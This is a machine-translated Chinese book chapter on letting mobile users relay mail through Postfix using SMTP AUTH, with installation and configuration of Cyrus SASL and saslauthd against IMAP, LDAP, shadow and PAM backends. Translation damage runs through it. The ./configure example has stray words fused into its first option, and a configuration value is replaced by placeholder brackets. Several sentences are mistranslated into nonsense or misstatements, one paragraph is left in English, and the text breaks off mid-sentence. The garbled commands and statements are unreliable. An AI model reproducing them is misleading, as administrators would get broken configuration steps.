- -然而,当用户变得可移动并使用拨号服务提供商访问 Internet 并希望使用未知位置的邮件服务器时,必须找到一种新的方法。 访问提供者将为这些用户提供动态 IP 地址,也就是说,他们的 IP 地址将在每次拨号时更改。 - -突然之间,用来区分好用户和坏用户的标准消失了。 邮政局长要么必须放松他们的中继许可以允许整个网络中潜在不受信任的 IP 使用中继,要么必须找到另一种方法来处理动态 IP 地址的中继。 随着时间的推移,出现了几种处理动态 IP 地址中继的方法,例如: - -* SMTP-after-POP -* 虚拟专用网络 -* SMTP 认证 - -这三种方法的需求和工作方式各不相同。 下面几节将详细介绍每种方法。 - -## SMTP-after-POP - -历史上,许多互联网连接是拨号连接; 如果要发送电子邮件,他/她必须离线撰写邮件,启动拨号连接,然后告诉电子邮件客户端“发送和接收”邮件。 在本例中,邮件客户机首先(通过 SMTP)发送邮件,然后(通过 POP)检查服务器是否有任何新邮件—SMTP 部分发生在 POP 部分之前。 - -这使得 SMTP 服务器不可能知道是否应该允许发送方中继,因为动态 IP 与任何其他条件无关,而这些条件会使发送方的主机成为可信主机。 ISP 可以将拨号连接的 IP 地址识别为自己的 IP 地址,并允许中继。 来自他们自己网络之外的任何连接通常都会被拒绝。 对于用户位于公司网络之外的小型组织,不可能跟踪所有潜在的有效源 IP 地址。 - -但是,可以将事务颠倒过来,并且可以在发送邮件之前执行邮件检查。 检查邮件需要密码,这意味着可以对用户进行身份验证。 流行的电子邮件客户机现在一启动就可以检查电子邮件,并定期检查新电子邮件。 如果可以告诉 SMTP 服务器特定 IP 地址的用户已通过 POP 服务器的身份验证,则它可以允许中继。 这就是 post - pop 的精髓所在。 SMTP 服务器需要知道特定的 IP 地址是否有一个可信的 POP 用户连接到它。 - -对于用户连接在最后一次连接到 POP 服务器之后的有效时间,必须有一个时间限制,否则旅行销售人员可能每周留下 100 个不同的 IP 地址作为有效的中继主机,其中一个可能稍后被垃圾邮件发送者占用。 现在,电子邮件通常是在用户在线时编写的,并在定期自动检查新邮件之间发送。 因此,发送到 SMTP 服务器的任何组成的电子邮件通常会在 POP3 请求后的几分钟内发送,所以时间周期可以很短,通常是几十分钟。 - -POP 后 smtp 的缺点是,即使您只想允许消息的中继,也需要一个 POP 服务器。 如果您不需要 POP 服务器,那么 POP 服务器将使服务器上的设置变得复杂。 它还可能将您的 SMTP 服务器的更新绑定到您的 POP 服务器以保持兼容性。 POP 并不是一种安全的身份验证方法,因为它可能会被欺骗。 - -## 虚拟专用网络 - -**虚拟专用网**(**VPN**)如果验证通过,则为客户端分配另一个私有 IP 地址。 VPN 服务器将在一个已知的块中分配 IP 地址。 SMTP 服务器可以配置为允许来自 vpn 分配的 IP 地址的邮件客户端中继。 - -同样,仅仅为了转发邮件而运行 VPN 需要付出很大的努力。 只有通过 VPN 提供额外的资源和服务,例如访问共享存储、数据库、内部网站点或应用,才会有回报。 - -## SMTP 认证 - -**SMTP 身份验证**,也称为**SMTP AUTH**,使用不同的方法来识别有效的中继用户。 它要求邮件客户端在 SMTP 对话过程中向 SMTP 服务器发送用户名和密码,如果身份验证成功,则可以进行中继。 - -与运行成熟的 POP 服务器或 VPN 相比,它不那么复杂,而且它解决了出现问题的地方——SMTP 服务器。 在您学习了如何配置您的服务器以处理一系列受信任的静态 IP 地址之后,您将了解提供 SMTP AUTH 需要做些什么。 - -## 静态 IP 范围 - -默认情况下,Postfix 只允许来自它自己网络的主机中继消息。 值得信任的网络是您为网络接口配置的网络。 运行 `ifconfig -a`以获取系统上已配置内容的列表。 - -如果您想更改默认值,您可以使用 `mynetworks_style`参数使用一些通用值,或者提供显式的 IP 地址范围,作为 `main.cf`中的 `mynetworks`参数的值。 - -### 继电器通用规则 - -要配置通用中继规则,需要在 `main.cf:`中的 `mynetworks_style`参数中添加以下值之一 - -* `host:`如果您配置 `mynetworks_style = host`,Postfix 将只允许它运行的主机的 IP 地址向远程目的地发送消息。 如果你只提供一个 webmail 接口,这可能是可以接受的,但没有桌面客户端将能够连接。 -* `class:`如果你配置 `mynetworks_style = class`,Postfix 将允许它服务的网络类(网络类 A/B/C)中的每一台主机作为中继。 网络类指定一个 IP 地址范围,大约 255 个(C 类)、65,000 个(B 类)或 16,000,000 个(A 类)地址。 - -### 明确的中继规则 - -显式中继规则允许更细粒度的中继权限。 要使用它,您需要理解用于指定网络地址范围的表示法。 如果您的网络范围从 192.168.1.0 到 192.168.1.255,那么可以将其指定为 192.168.1.0/24。 24 被用作 32 位网络地址的前 24 位对每个客户端是相同的。 如果您使用 DHCP 服务器(例如,在您的 Linux 服务器或服务于 DSL 连接的防火墙中),您的网络地址范围可能由该设备定义,您应该在后缀设置中使用适当的值。 如果你手动分配 IP 地址并硬编码它们,你可以单独指定每个 IP 地址为 a /32 范围,或者你可以确保每个 IP 地址在分配后属于一个容易识别的范围。 A 类网络 10.0.0.0/8,172.16.0.0 ~ 172.31.255.255 范围内的 16 个 B 类网络,192.168.0.0 ~ 192.168.255.255 范围内的 256 个 C 类网络。 这些都可以用于私有网络地址,也可以用于内部网络地址。 - -您可以在 `main.cf`中的 `mynetworks`参数中添加远程和本地主机和/或网络列表。 如果你想允许 localhost,局域网中所有主机(在以下示例 IP 地址 `10.0.0.0` `10.0.0.254)`,在家和你的静态 IP(这里 `192.0.34.166)`应该注意在 CIDR 标记列表所示这个例子: - -```sh -mynetworks = 127.0.0.0/8, 10.0.0.0/24, 192.0.34.166/32 - -``` - -重新加载 Postfix 后,新的设置将生效。 - -## 动态 IP 范围 - -在前一节中,您了解了如何允许静态 IP 地址的中继。 本节将展示如何配置 Postfix 以允许动态 IP 地址的中继。 - -虽然,正如本章的介绍中提到的,有几种方法可以实现这一点,但我们只介绍 SMTP 身份验证的方法。 它提供了一个简单而稳定的机制,但设置并不简单。 原因是 SMTP AUTH 不是由 Postfix 自己处理的。 另一个软件模块 Cyrus SASL 需要为邮件客户端提供和处理 SMTP AUTH。 您将需要配置 Cyrus SASL、Postfix 以及它们如何互操作。 - -# 赛勒斯 - -Cyrus SASL([http://cyrusimap.web.cmu.edu/](http://cyrusimap.web.cmu.edu/))是卡内基梅隆大学的 SASL 实现。 **SASL**(**Simple Authentication and Security Layer**),是 RFC 2222([http://www.ietf.org/rfc/rfc2222.txt](http://www.ietf.org/rfc/rfc2222.txt))中描述的认证框架。 【显示】 - -编写 SASL 是为了为任何需要使用或提供身份验证服务的应用提供独立于应用的身份验证框架。 - -Cyrus SASL 不是目前唯一可用的 SASL,但它是最早出现的 SASL,并被用于各种应用,如 Postfix、Sendmail、Mutt 和 OpenLDAP。 为了使用 Cyrus SASL,您需要了解它的架构、不同的层是如何一起工作的,以及层的功能是如何配置的。 - -## SASL 层 - -SASL 由三个层组成:认证接口**、机制**和方法。 在处理身份验证请求时,它们中的每一个都负责一个不同的作业。 - -认证过程通常经过以下步骤: - -1. 客户端连接到 SASL 服务器。 -2. 服务器宣布它的功能。 -3. 客户端在列出的功能中识别出进行身份验证的选项。 它还识别可以选择用于处理身份验证的机制列表。 -4. 客户端选择其中一种机制并计算编码消息。 消息的确切内容取决于所使用的机制。 -5. 客户端向服务器发送命令 `AUTH `。 -6. 服务器接收身份验证请求并将其交给 SASL。 -7. SASL 识别该机制并解码编码的消息。 解码取决于所选择的机制。 -8. 为了验证客户端提供的信息,SASL 与身份验证后端进行联系。 它究竟要寻找什么,取决于所使用的机制。 -9. 如果它可以验证信息,它将告诉服务器,服务器应该允许客户端中继消息。 如果它不能验证信息,它将告诉服务器,服务器可能拒绝客户端想要传递的消息。 在这两种情况下,服务器将告诉客户机身份验证是成功还是失败。 - -让我们在下面几节中仔细研究这三个 SASL 层。 - -### 认证接口 - -在我们刚才讨论的步骤 1 到 5 和步骤 9 中,您可以看到客户机和服务器交换数据来处理身份验证。 这部分通信发生在身份验证接口中。 - -虽然 SASL 定义了必须交换哪些数据,但它没有指定客户机和服务器之间必须如何通信数据。 它将此留给它们特定的通信协议,这就是 SASL 可以被各种服务(如 SMTP、IMAP 或 LDAP)使用的原因。 - -### 注意事项 - -SASL 不像 SMTP 协议那么古老(参见:RFC 821)。 它是后来在 RFC 2554([http://www.ietf.org/rfc/rfc2554.txt](http://www.ietf.org/rfc/rfc2554.txt))中添加的,它描述了用于身份验证的**SMTP 服务扩展**。 - -在一个 SMTP 会话中,服务器在它的其他功能中提供 SMTP 身份验证如下所示: - -```sh -$ telnet mail.example.com 25 -220 mail.example.com ESMTP Postfix -EHLO client.example.com -250-mail.example.com -250-PIPELINING -250-SIZE 10240000 -250-VRFY -250-ETRN -250-ENHANCEDSTATUSCODES -250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 1) -250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 2) -250 8BITMIME -QUIT - -``` - -* 这一行告诉客户端服务器提供 `SMTP AUTH`。 它由两个逻辑部分组成。 第一部分 `250-AUTH`宣布 `SMTP AUTH`功能,其余部分是可用机制列表,客户可以从中选择自己喜欢的机制。 -* `250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 2):`这一行重复上面一行,但在宣布 SMTP 身份验证的方式上有所不同。 它在 `250-AUTH`后面加上一个等号 `250-AUTH=`,而不是空格。 这适用于不遵循 SASL 最终规范的损坏客户端。 - -### 机理 - -机制(如步骤 4 到 7 所述)表示 SASL 的第二层。 它们决定在身份验证期间使用的验证策略。 SASL 有几种已知的机制。 它们在传输数据的方式和传输期间的安全级别上有所不同。 最常用的机制可分为**明文**和**共享秘密**机制。 - -有一种机制你永远不应该给客户提供后缀服务,那就是**匿名**机制。 我们先来看看这个。 - -* `anonymous:`匿名机制要求客户端发送任何它想发送的字符串。 它被设计为允许匿名访问,比如,全局 IMAP 文件夹,但不支持 SMTP。 在 AUTH 行中提供 `ANONYMOUS`的 SMTP 服务器最终会被滥用。 您不应该在 SMTP 服务器中提供此功能! Postfix 不提供开箱即用的匿名访问配置。 -* Cyrus SASL 知道**PLAIN**和**LOGIN**明文机制。 `LOGIN`与 `PLAIN`基本相同,但用于不遵循最终 SASL RFC 的邮件客户端,如 Outlook 和 Outlook Express。 这两种机制都要求客户机计算一个 Base64 编码的用户名和密码字符串,并将其传输给服务器进行身份验证。 纯文本机制的伟大之处在于,目前使用的几乎所有邮件客户机都支持它们。 坏消息是,如果没有**传输层安全性**(**TLS**)使用明文机制是不安全的。 这是因为 Base64 编码的字符串仅仅是编码的,而不是加密的——它很容易被解码。 不过,在传输层加密会话期间使用明文机制传输是安全的。 但是,如果使用 TLS,它将保护 Base64 编码的字符串不被窃听者窃取。 -* `shared secret:` The shared secret mechanisms available in Cyrus SASL are **CRAM-MD5** and **DIGEST-MD5**. Shared secret based authentication has a totally different strategy to verify a client. It is based upon the assumption that client and server both share a secret. A client choosing a shared secret mechanism will only tell the server the name of the specific shared secret mechanism. The server will then generate a challenge, based on their secret and send it to the client. The client then generates a response, proving that it knows the secret. During the whole authentication process neither a username nor a password is sent over the wire. That's why shared secret mechanisms are a lot more secure than the ones mentioned before. However, the most popular mail clients Outlook and Outlook Express do not support shared secret mechanisms. - - ### 注意事项 - - 在异构网络上,您可能最终会同时提供明文和共享的秘密机制。 - -现在已经讨论了机制,只剩下一层了—方法层。 在这里配置和处理对保存凭证的数据存储的查找。 下一节将告诉您更多关于方法的内容。 - -### 方法 - -SASL 引用的最后一层是方法层。 方法由 Cyrus SASL 安装目录中的库表示。 它们用于访问数据存储,Cyrus SASL 不仅将其称为方法,还将其称为身份验证后端。 在 SASL 的方法中,最常用的是: - -* `rimap:` `rimap`表示**远程 IMAP**,支持 SASL 登录 IMAP 服务器。 它使用客户端提供的用户名和密码。 成功的 IMAP 登录就是成功的 SASL 身份验证。 -* `ldap:` `ldap`方法通过查询 LDAP 服务器验证用户名和密码。 查询成功表示认证成功。 -* `kerberos:` `kerberos`方法使用流行的 Kerberos 方法,并检查 Kerberos 票据。 -* `Getpwent/shadow:` `getpwent`和 `shadow`方法访问系统的本地用户密码数据库,以验证身份验证请求。 -* `pam:` `pam`方法访问您在 PAM 设置中配置的任何 PAM 模块,以验证身份验证请求。 -* `sasldb:`方法读取甚至写入 Cyrus SASL 自己的数据库 sasldb2。 通常这个数据库与 Cyrus IMAP 一起使用,但是您可以在不使用 IMAP 服务器的情况下使用它。 -* `sql:`使用 SQL 查询访问各种 SQL 服务器。 目前有 MySQL、PostgreSQL 和 SQLite。 - -现在您已经了解了 SASL 体系结构的三层,现在是时候看看处理它们之间所有请求的 SASL 服务了。 它被称为**密码验证服务**,下面将对其进行描述。 - -### 密码验证服务 - -密码验证服务处理来自服务器的身份验证请求,执行特定于机制的计算,调用一个方法来查询身份验证后端,最后将结果返回给发送身份验证请求的服务器。 - -### 注意事项 - -对于 Postfix,提交身份验证请求的服务器是 `smtpd`守护进程。 在*postsmtp AUTH 配置*部分,您将了解如何配置 `smtpd`守护进程来选择正确的密码验证服务。 - -Cyrus SASL 2.1.23 版本是目前最新的版本,为我们提供了三种不同的密码验证服务: - -* `saslauthd` -* `auxprop` -* `authdaemond` - -邮件客户机可能成功使用的机制和 Cyrus SASL 在身份验证期间可以访问的方法取决于您告诉 Postfix 使用的密码验证服务。 - -* `saslauthd: saslauthd`是一个独立的守护进程。 它可以作为根用户运行,这赋予它访问只有根用户才能访问的源所需的特权。 然而, `saslauthd`在其支持的机制范围内是有限的; 它只能处理明文机制。 -* `auxprop: auxprop`是**辅助属性插件**的缩写,这是 Project Cyrus 邮件服务器体系结构中使用的术语。 `auxprop`表示提供身份验证的服务器所使用的库。 它使用使用它的服务器的特权访问源。 与 `saslauthd, auxprop`不同的是,它可以处理 Cyrus SASL 身份验证框架中所有可用的机制。 【5】 -* `authdaemond: authdaemond`是专门为使用 Courier 的 `authdaemond`作为密码验证器而编写的密码验证服务。 通过这种方式,您可以访问 Courier 可以处理的任何认证后端。 这个 `auxprop`插件只能处理纯文本机制。 - -下表概述了密码验证服务(方法)可以处理的机制: - - -| - -方法/机制 - - | - -平原 - - | - -登录 - - | - -cram - - - | - -DIGEST-MD5 - - | -| --- | --- | --- | --- | --- | -| `saslauthd` | 是的 | 是的 | 没有 | 没有 | -| `auxprop` | 是的 | 是的 | 是的 | 是的 | -| `authdaemond` | 是的 | 是的 | 没有 | 没有 | - -只有 `auxprop`密码验证服务能够处理更安全的机制; `saslauthd`和 `authdaemond`只能处理明文机制。 - -现在我们已经介绍了一些 Cyrus SASL 理论,现在是时候安装它了。 这正是我们在下一节中要做的。 - -## 安装 Cyrus SASL - -您的系统上可能已经有了 Cyrus SASL。 然而,各种 Linux 发行版已经开始将 Cyrus SASL 安装在不同的位置,而不是典型的默认位置 `/usr/lib/sasl2`。 要检查服务器上是否安装了 Cyrus SASL,可以运行包管理器并查询 `cyrus-sasl`或运行 `find`。 如果安装了 SASL,向 Red Hat 包管理器(在 Fedora Core 11 上)查询会返回如下内容: - -```sh -$ rpm -qa | grep sasl -cyrus-sasl-2.1.18-2.2 -cyrus-sasl-devel-2.1.18-2.2 -cyrus-sasl-plain-2.1.18-2.2 -cyrus-sasl-md5-2.1.18-2.2 - -``` - -如果安装了 SASL,查询 `dpkg`(在 Ubuntu 上)会返回如下内容: - -```sh -$ dpkg -l | grep sasl -ii libsasl2-2 2.1.22.dfsg1-23ubuntu3 -Cyrus SASL - authentication abstraction libr -ii libsasl2-modules 2.1.22.dfsg1-23ubuntu3 -Cyrus SASL - pluggable authentication module2 - -``` - -寻找 `libsasl*.*`的 `find`是这样的: - -```sh -$ find /usr -name 'libsasl*.*' -/usr/lib/libsasl.so.7.1.11 -/usr/lib/libsasl2.so -/usr/lib/libsasl.la -/usr/lib/libsasl2.so.2.0.18 -/usr/lib/libsasl.a -/usr/lib/libsasl2.a -/usr/lib/libsasl2.la -/usr/lib/sasl2/libsasldb.so.2.0.18 -/usr/lib/sasl2/libsasldb.so.2 -/usr/lib/sasl2/libsasldb.so -/usr/lib/sasl2/libsasldb.la -/usr/lib/libsasl.so.7 -/usr/lib/libsasl.so -/usr/lib/libsasl2.so.2 - -``` - -这证明您在系统上安装了 SASL。 要验证 SASL 库的位置,只需像这样执行 `ls`: - -![Installing Cyrus SASL](img/8648_05_1.jpg) - -正如前面提到的,您的发行版可能会把它们放在其他地方。 在这种情况下, `find`方法将定位正确的位置,或者您的发行版文档应该提供此信息。 - -如果没有安装 Cyrus SASL,您将必须使用包管理器来获取它,或者手动安装它。 - -Cyrus 的最新版本通常可以从[http://cyrusimap.web.cmu.edu/downloads.html](http://cyrusimap.web.cmu.edu/downloads.html)下载。 要下载 2.1.23 版本(总是选择最新的稳定版本,而不是开发人员版本),发出以下命令: - -```sh -$ cd /tmp -$ wget ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/cyrus-sasl-2.1.23.tar.gz -$ tar xfz cyrus-sasl-2.1.23.tar.gz -$ cd cyrus-sasl-2.1.23 - -``` - -下载并解压缩源文件后,切换到源目录并运行 `configure`。 一个典型的源配置是这样的: - -```sh -$ ./configure \ -installingCyrus SASL--with-plugindir=/usr/lib/sasl2 \ ---disable-java \ ---disable-krb4 \ ---with-dblib=berkeley \ ---with-saslauthd=/var/state/saslauthd \ ---without-pwcheck \ ---with-devrandom=/dev/urandom \ ---enable-cram \ ---enable-digest \ ---enable-plain \ ---enable-login \ ---disable-otp \ ---enable-sql \ ---with-ldap=/usr \ ---with-mysql=/usr \ ---with-pgsql=/usr/lib/pgsql - -``` - -这将配置 Cyrus SASL 为您提供明文和共享秘密机制,并将构建 `saslauthd`并为您提供 SQL 方法,包括对 MySQL 和 PostgreSQL 的支持。 - -在 `configure`脚本完成后,运行 `make`,变成 `root`,然后运行 `make install`。 - -```sh -$ make -$ su -c "make install" -Password: - -``` - -Cyrus SASL 将自己安装到 `/usr/local/lib/sasl2`,但是它将期望在 `/usr/lib/sasl2`中找到库。 你需要创建一个像这样的符号链接: - -```sh -$ su -c "ln -s /usr/local/lib/sasl2 /usr/lib/sasl2" -Password: - -``` - -最后,您需要检查 SASL 日志消息是否会被 `syslogd`捕获并写入日志文件。 赛勒斯·萨斯勒登陆了 `syslog auth`设施。 检查您的 `syslogd`配置(通常是 `/etc/syslog.conf`),看看它是否包含捕捉 auth 消息的行。 - -```sh -$ grep auth /etc/syslog.conf -auth,authpriv.* /var/log/auth.log -*.*;auth,authpriv.none -/var/log/syslog -auth,authpriv.none;\ -auth,authpriv.none;\ - -``` - -如果没有找到条目,添加以下内容,保存文件,然后重新启动 `syslogd:` - -```sh -auth.* /var/log/auth.log - -``` - -完成所有这些之后,就可以开始配置 SASL 了。 - -## Cyrus SASL 配置 - -在返回 Postfix 并处理特定于 Postfix 的 SMTP AUTH 设置之前,始终配置和测试 Cyrus SASL 是至关重要的。 - -遵循这一程序的原因很简单。 不能进行身份验证的身份验证框架对使用它的任何其他应用都没有帮助。 当问题与 Cyrus sasl 相关时,很可能要花好几个小时调试 Postfix。 - -要理解如何配置 SASL 以及必须配置在何处,请回忆一下,它是一个身份验证框架,其设计目的是为许多应用提供服务。 这些应用可能不仅对要使用的密码验证服务有完全不同的要求,而且对要提供的机制以及用于访问身份验证后端的方法也有完全不同的要求。 - -Cyrus 是使用特定于应用的文件配置的。 每个客户机应用的配置都在一个单独的文件中。 当应用连接到 SASL 服务器时,它发送它的应用名称。 Cyrus 使用这个名字来查找要使用的正确配置文件。 - -在我们的场景中,需要 SMTP AUTH 的应用是 Postfix 中的 `smtpd`守护进程。 当它联系 SASL 时,它不仅发送身份验证数据,还发送它的应用名称 `smtpd`。 - -### 注意事项 - -应用名称 `smtpd`是一个默认值,从 Postfix 发送给 Cyrus SASL。 您可以使用 `smtpd_sasl_application_name`更改它,但通常这不是必需的。 只有在运行需要不同 Cyrus SASL 配置的 Postfix 守护进程时才需要它。 - -当 Cyrus SASL 收到应用名称时,它将追加一个 `.conf`并开始寻找包含配置设置的配置文件。 - -默认情况下, `smtpd.conf`的位置是 `/usr/lib/sasl2/smtpd.conf`,但是由于各种原因,一些 Linux 发行版已经开始将其放在其他位置。 在 Debian Linux 上,您必须在 `/etc/postfix/sasl/smtpd.conf`创建配置。 Mandrake Linux 期望文件位于 `/var/lib/sasl2/smtpd.conf`。 众所周知,所有其他人都期待在 `/usr/lib/sasl2/smtpd.conf`。 - -检查您的系统,看看是否已经创建了 `smtpd.conf`。 如果不是,一个简单的 `touch`命令(作为根)将创建它: - -```sh -# touch /usr/lib/sasl2/smtpd.conf - -``` - -接下来的所有配置都将以 `smtpd.conf`为中心。 以下是我们将在其中放入的内容的快速纲要: - -* 我们要使用的密码验证服务的名称 -* SASL 应该将日志消息发送到日志输出的日志级别 -* Postfix 在向客户端提供 SMTP AUTH 时应该通告的机制列表 -* 特定于所选密码验证服务的配置设置 - -最后,我们将配置密码验证服务应该如何访问身份验证后端。 这需要如何完成取决于我们选择的密码验证服务,并将在我们到达时解释。 - -### 选择密码验证服务 - -第一个配置步骤是选择 SASL 在身份验证期间应该使用的密码验证服务。 告诉 SASL 哪个密码验证服务应该处理身份验证的参数是 `pwcheck_method`。 您可以提供的值为: - -* 【t】【t】 -* `auxprop` -* `authdaemond` - -根据您选择的密码验证服务,您必须添加正确的值。 这些名称应该自己说明,并告诉您将调用哪个密码验证服务。 使用 `saslauthd`的配置会将以下行添加到 `smtpd.conf:` - -```sh -pwcheck_method: saslauthd - -``` - -### 选择日志级别 - -Cyrus SASL 不能一致地处理日志记录。 Cyrus SASL 将记录什么取决于密码验证服务和正在使用的方法。 定义日志级别的参数为 `log_level`。 在设置期间,合理的设置应该是日志级别 3。 - -```sh -log_level: 3 - -``` - -这一行应该添加到 `smtpd.conf`中。 - -以下是 Cyrus SASL 所知道的所有日志级别列表: - - -| - -log_level 价值 - - | - -描述 - - | -| --- | --- | -| `0` | 没有日志 | -| `1` | 日志不寻常的错误; 这是默认值 | -| `2` | 记录所有认证失败 | -| `3` | 日志非致命的警告 | -| `4` | 比 3 更冗长 | -| `5` | 比 4 更冗长 | -| `6` | 记录内部协议的跟踪信息 | -| `7` | 内部协议的日志跟踪,包括密码 | - -### 选择有效机制 - -您的下一步将是选择 Postfix 在向客户端发布 SMTP 身份验证时可能提供的机制。 Cyrus SASL 中用于配置有效机制列表的参数是 `mech_list`。 机制的名称与我们在*机制*部分介绍它们时使用的名称完全相同。 - -设置 `mech_list`参数并只列出您的密码验证服务可以处理的机制是很重要的。 如果不这样做,Postfix 将提供 SASL 提供的所有机制,如果邮件客户机选择 SASL 密码验证服务无法处理的机制,身份验证将失败。 - -### 注意事项 - -回想一下,密码验证服务 `saslauthd`和 `authdaemond`只能处理两种明文机制—— `PLAIN`和 `LOGIN`。 因此,用于这些密码验证服务的 `mech_list`必须只保存值 `PLAIN`和 `LOGIN`。 任何具有更强机制的邮件客户机总是更喜欢更强的机制而不是更弱的机制。 它将进行计算并将结果发送给服务器。 服务器将无法进行身份验证,因为 `saslauthd`和 `authdaemond`都不能处理非明文机制。 - -下面的示例将为 `smtpd.conf:`中的 `saslauthd`定义有效的机制 - -```sh -mech_list: PLAIN LOGIN - -``` - -任何 `auxprop`密码验证服务的有效机制列表可以进一步列出以下机制: - -```sh -mech_list: PLAIN LOGIN CRAM-MD5 DIGEST-MD5 - -``` - -### 注意事项 - -此列表中机制的顺序对客户机将选择的机制没有影响。 选择哪种机制取决于客户端; 它通常会选择提供最强密码的那个。 - -在接下来的部分中,我们将了解如何配置密码验证服务以选择身份验证后端,以及如何提供附加信息以选择相关数据。 如前所述,这三个密码验证服务的处理方式不同。 我们将分别介绍每种密码验证服务。 - -#### saslauthd - -在使用 `saslauthd`之前,您需要检查它是否能够在 `saslauthd`称为 `state dir`的目录中建立套接字。 请仔细检查,因为有两个常见的问题与插座有关: - -* **目录不存在:**在这种情况下, `saslauthd`将退出运行,您将发现一个日志消息,表明缺少目录。 -* **除** `saslauthd:`以外的应用无法访问该目录。在这种情况下,您将在邮件日志中发现日志消息,表明 `smtpd`无法连接到套接字。 - -要解决这些问题,首先需要找出 `saslauthd`想要在哪里建立插座。 只需将其作为根目录启动,就像下面的例子一样(如下所示),并查看其中包含 `run_path`的行: - -```sh -# saslauthd -a shadow -d - -``` - -```sh -saslauthd[3610] :main : num_procs : 5 -saslauthd[3610] :main : mech_option: NULL -saslauthd[3610] :main : run_path : /var/run/saslauthd -saslauthd[3610] :main : auth_mech : shadow -saslauthd[3610] :main : could not chdir to: /var/run/saslauthd -saslauthd[3610] :main : chdir: No such file or directory -saslauthd[3610] :main : Check to make sure the directory exists and is -saslauthd[3610] :main : writeable by the user, this process runs as—If you get no errors, the daemon will start, but the -d flag means that it will not start in the background; it will tie up your terminal session. In this case, press *Ctrl+C* to terminate the process. - -``` - -正如您在前面的示例中看到的, `saslauthd`希望将 `/var/run/saslauthd`访问为 `run_path`。 由于无法访问该目录,它立即退出。 现在有两种方法来处理这个问题。 这取决于您是从一个包中获得 `saslauthd`还是从源程序中安装它。 - -在第一种情况下,包维护者很可能使用默认设置构建了 `saslauthd`; 选择一个不同的位置为 `state dir`,并配置 `init-script`以通过提供 `-m /path/to/state_dir`选项覆盖默认路径。 - -在 Debian 系统上,您通常会在 `/etc/default/saslauthd`中找到命令行选项。 在 Red Hat 系统中,您通常会发现在 `/etc/sysconfig/saslauthd`中传递给 `saslauthd`的命令行选项。 下面的清单概述了 Fedora Core 2 的设置: - -```sh -# Directory in which to place saslauthd's listening socket, pid file, and so -# on. This directory must already exist. -SOCKETDIR=/var/run/saslauthd -# Mechanism to use when checking passwords. Run "saslauthd -v" to get a list -# of which mechanism your installation was compiled to use. -MECH=shadow -# Additional flags to pass to saslauthd on the command line. See saslauthd(8) -# for the list of accepted flags. -FLAGS= - -``` - -对于大多数 Linux 发行版来说, `state dir`的典型位置是 `/var/state/saslauthd`或 `/var/run/saslauthd`。 - -现在考虑手动构建 `saslauthd`的情况。 然后,您应该创建一个与您在执行 `configure`脚本时使用的 `--with-saslauthd`参数值匹配的目录。 - -在 SASL 配置示例中, `--with-saslauthd`的值为 `/var/state/saslauthd`。 创建这个目录,并让 root 用户和 postfix 组可以访问它,像这样: - -```sh -# mkdir /var/state/saslauthd -# chmod 750 /var/state/saslauthd -# chgrp postfix /var/state/saslauthd - -``` - -验证了 `saslauthd`可以在 `state dir`中创建套接字和 `pid`文件之后,就可以开始配置 `saslauthd`来访问您选择的身份验证后端。 - -### 注意事项 - -下面的示例假定您不需要提供到 `saslauthd`的额外运行路径。 如果您需要这样做,只需将其添加到示例中。 - -##### 使用 IMAP 服务器作为认证后端 - -指定 `-a`选项和值 `rimap`,让 Cyrus SASL 使用邮件客户端提供的凭证登录到 IMAP 服务器。 另外,您必须使用 `-O`选项来告诉 `saslauthd`它应该转向哪个 IMAP 服务器,如下所示: - -```sh -# saslauthd -a rimap -O mail.example.com - -``` - -当成功登录到 IMAP 服务器时, `saslauthd`将向 Postfix 报告身份验证成功,Postfix 可能允许邮件客户端将凭据交给中继。 - -##### 使用 LDAP 服务器作为认证后端 - -使用 LDAP 服务器验证凭证比使用 IMAP 服务器稍微复杂一些。 它需要更多的配置,这就是为什么您不将所有选项都赋给命令行上的 `saslauthd`,而是将它们放在配置文件中。 默认情况下, `saslauthd`期望 LDAP 配置位于 `/usr/local/etc/saslauthd.conf`。 如果选择了不同的位置,则需要在命令行上声明它。 - -```sh -# saslauthd -a ldap -O /etc/cyrussasl/saslauthd.conf - -``` - -在前面的示例中,值 `ldap`告诉 `saslauthd`转向 LDAP 服务器,而 `-O`选项提供配置文件的路径。 您的配置文件可能包含以下参数: - -```sh -ldap_servers: ldap://127.0.0.1/ ldap://172.16.10.7/ -ldap_bind_dn: cn=saslauthd,dc=example,dc=com -ldap_bind_pw: Oy6k0qyR -ldap_timeout: 10 -ldap_time_limit: 10 -ldap_scope: sub -ldap_search_base: dc=people,dc=example,dc=com -ldap_auth_method: bind -ldap_filter: (|(&(cn=%u)(&(uid=%u@%r)(smtpAuth=Y))) -ldap_debug: 0 -ldap_verbose: off -ldap_ssl: no -ldap_start_tls: no -ldap_referrals: yes - -``` - -如您所料,您必须调整这些设置以适应您的 LDAP 树和特定于您的 LDAP 服务器的其他设置。 要获得所有与 ldap 相关的参数的完整列表(这里列出的参数还不止这些),请查看 Cyrus SASL 源文件中位于 `saslauthd`子目录中的 `LDAP_SASLAUTHD readme`。 - -##### 使用本地用户帐号 - -这是大多数人使用 `saslauthd`的配置。 您可以配置 `saslauthd`来读取本地密码文件或支持影子密码的系统上的本地影子密码文件。 - -要从 `/etc/passwd`读取,使用 `-a getpwent`选项,如下所示: - -```sh -# saslauthd -a getpwent - -``` - -大多数现代 Linux 发行版并不将密码存储在 `/etc/passwd`中,而是存储在 `/etc/shadow`中。 如果你想从 `/etc/shadow`读取 `saslauthd`,像这样运行它: - -```sh -# saslauthd -a shadow - -``` - -##### 使用 PAM - -还可以使用**PAM(可插入的身份验证模块)**作为身份验证后端,然后必须将其配置为访问其他身份验证后端。 像这样运行 `saslauthd`: - -```sh -# saslauthd -a pam - -``` - -然后创建一个 `/etc/pam.d/smtp`文件或 `/etc/pam.conf`中的一个节,并向其中添加 pam 特定的设置。 如果您从包中安装了 Cyrus SASL,那么您很可能已经有了这样一个文件。 例如,在 Red Hat 上它看起来是这样的: - -```sh -#%PAM-1.0 -auth required pam_stack.so service=system-auth -account required pam_stack.so service=system-auth - -``` - -### 注意事项 - -配置文件的名称必须为 `smtp`。 这已经在 `RFC 2554`中定义,它表示基于 SMTP 的 SASL 的服务名称是 `smtp`。 后缀 `smtpd`守护进程将值 `smtp`作为服务名传递给 Cyrus SASL。 `saslauthd`然后将其传递给 PAM, PAM 然后在 `smtp`文件中查找身份验证指令。 - -#### 辅助道具 - -**辅助属性插件**(或**auxprop)**与 `saslauthd`配置不同。 无需传递命令行选项,只需向 `smtpd.conf`添加特定于 